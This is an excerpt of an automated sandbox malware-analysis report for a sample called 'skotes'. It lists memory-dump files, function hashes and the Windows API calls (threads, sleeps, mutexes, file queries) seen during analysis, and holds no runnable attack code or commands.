Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 053e4475bbb8b0f11bcde5cda985e531f305aff474ed5511eb6aedd1b2df8518
Instruction ID: 8a7a58d964b0887724b0470ae075926519ebdb16ce58dfee19d432378cc64eb9
Opcode Fuzzy Hash: 053e4475bbb8b0f11bcde5cda985e531f305aff474ed5511eb6aedd1b2df8518
Instruction Fuzzy Hash: 7751E771D00219ABDB25EFA49C819BE77F8EF75364B10426BE534A3391E7309E41DB50

Function 00197590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,B33B1342,?,00000000,001D9138,000000FF), ref: 001975CC
CreateThread.KERNEL32(00000000,00000000,00197430,001F8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001976BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001976C9

Part of subcall function 001AD0C7: RtlWakeAllConditionVariable.NTDLL ref: 001AD17B

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 569b6982743f7e0090e3f14ed29560b85a23e45f81bc72df7050fc71ae827659
Instruction ID: b8405e5fae2770f070642014eb6819a45dfa3aa9d1b8bfed35ca897e06f4cc24
Opcode Fuzzy Hash: 569b6982743f7e0090e3f14ed29560b85a23e45f81bc72df7050fc71ae827659
Instruction Fuzzy Hash: C951D2B02102489BEF18DF28DD89BAC3BA2EF55724F504619F9059BBD1DB76D480CB51

Function 001C6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,001C6EE6), ref: 001C6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 001C7030
__dosmaperr.LIBCMT ref: 001C70C5

Part of subcall function 001C732A: __dosmaperr.LIBCMT ref: 001C735F

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: b5b7d94f1d99cd9fbf53281cc075dad9baa5945450883ff033889e24c01589d7
Instruction ID: a73b6274395fb71e3af883d1874de2f3dec4cfbe28a2837f3e880c0d8061db33
Opcode Fuzzy Hash: b5b7d94f1d99cd9fbf53281cc075dad9baa5945450883ff033889e24c01589d7
Instruction Fuzzy Hash: 46414BB1904204ABDB24AFB5DC41EAFBBF9EFA9300B14492DF856D3650E770E950CB61

Function 00199BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00199BA8
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1b2f093c0d96acade62e1b9c6e0432502af39a31b56adf32431973dbc331b002
Instruction ID: f13d2a9c0d2177855a7f4efa953f55af8bacc7eddb268b50a091551df580715f
Opcode Fuzzy Hash: 1b2f093c0d96acade62e1b9c6e0432502af39a31b56adf32431973dbc331b002
Instruction Fuzzy Hash: 3F3159716042008BEF18EB7CDDC9B6EB7A2EFD2314F64821CE015973D5C77599848751

Function 00199CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00199CDD
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e90d8c1c6e8652513cbdb501fed27734c6d8cb0ce46ac35703907df84ce96404
Instruction ID: 60e932e35081af392b4fc59585886d745de660c588598d76f3a49296c8c4f0ae
Opcode Fuzzy Hash: e90d8c1c6e8652513cbdb501fed27734c6d8cb0ce46ac35703907df84ce96404
